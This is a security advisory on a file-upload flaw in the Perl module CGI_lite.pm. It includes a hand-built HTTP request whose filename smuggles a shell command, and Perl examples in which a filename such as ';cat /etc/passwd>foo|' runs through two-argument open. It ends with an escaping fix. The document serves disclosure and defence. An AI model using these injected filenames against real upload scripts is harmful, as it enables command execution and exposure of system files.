COMMAND
CGI_lite.pm
SYSTEMS AFFECTED
Systems using CGI_lite.pm 1.62, 1.7, 1.8
PROBLEM
Andrew McNaughton found potentially dangerous behaviour in
CGI_lite.pm file upload. In recent versions of CGI_lite.pm, files
uploaded via multipart/form-data MIME encoding is saved using a
filename which may be unsafe (ie contain shell commands). While
CGI_lite's operations on these files are apparently safe, file
upload scripts based on CGI_lite may not be. This problem has
been tested and confirmed with version 1.7, and it also appears
to affect versions 1.62 and 1.8.
Netscape url-encodes filenames before sending them, but it is
relatively straightforward to manually construct a http request
which does not do this url-encoding.
----------------- start ---------------------
POST /cgi-bin/test/upload.pl HTTP/1.0
Referer: file:///Hard_Disk/pub/projects/Utilities/w3mir/upload.html
Connection: Keep-Alive
User-Agent: Mozilla/3.01 (Macintosh; I; PPC)
Host: 127.0.0.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Accept-Language: en
Content-type: multipart/form-data;
boundary=---------------------------29741200957742
Content-Length: 186
-----------------------------29741200957742
Content-Disposition: form-data; name="readme"; filename=";echo foo>foo|"
file contents
-----------------------------29741200957742--
---------------------- end -------------------
The script will create a file whose name consists of a numerical
timestamp followed by two underscores and then the user nominated
filename. CGI_lite's handling of these files is apparently safe.
Scripts which make use of the filenames recieved from CGI_lite.pm
may not be.
$filename = ";cat /etc/passwd>foo|";
open (FILE, ">$filename"); # safe
open (FILE, "<$filename"); # safe
open (FILE, ">" . $filename); # safe
open (FILE, "<" . $filename); # safe
open (FILE, "$filename"); # not safe
open (FILE, $filename); # not safe
If the last is run by a CGI sript, the contents of /etc/passwd
will be written to STDOUT, and thereby the web client (more likely
telnet than netscape in the event of an exploit). There are two
ways for scripts to access the uploaded file(s).
---------------------- start -------------------
#!/usr/local/bin/perl5
use CGI_Lite;
$cgi = new CGI_Lite ();
$cgi->set_directory ("/usr/foo/tmp")
|| die "Directory doesn't exist.\n";
$cgi->set_platform ("UNIX");
$cgi->set_file_type ("handle"); # return handles.
$data = $cgi->parse_form_data ();
print "Content-type: text/plain", "\n\n";
$filename = $$data{'readme'};
while (<$filename>) {
print;
}
close ($filename);
exit (0);
---------------------- end -------------------
Safe so far, although subsequent uses of these files might be
dangerously implemented. Actually CGI_lite.pm version 1.7 is
broken such that using file handles will only work if the upload
directory directory is set to "" which results in files being
stored in the current directory.
---------------------- start -------------------
#!/usr/local/bin/perl5
use CGI_Lite;
$cgi = new CGI_Lite ();
$cgi->set_directory ("/usr/shishir")
|| die "Directory doesn't exist.\n";
$cgi->set_platform ("UNIX");
$cgi->set_file_type ("name"); # return filenames. default behaviour
$data = $cgi->parse_form_data ();
print "Content-type: text/plain", "\n\n";
$filename = $$data{'readme'};
open (FILE , $filename);
while (<FILE>) {
print;
}
close ($filename);
exit (0);
---------------------- end -------------------
this will execute the command embedded in the filename. There is
no problem if the file is opened like so:
open (FILE , "<$filename");
In this case the pipe on the end of filename does not result in
commands in filename being passed to the shell, being overriden by
the '<'.
SOLUTION
If you don't use it, You might want to disable the upload system
altogether in this module. If you do use the file upload system,
you should properly escape the file names immediately before
opening filehandles. Your programs probably expect url escaping,
so this is probably the best format to use. See URI::Escape.pm
in libwww for code to do this. Make sure all shell metacharacters
are escaped, not just the url-unsafe ones. Don't forget \n.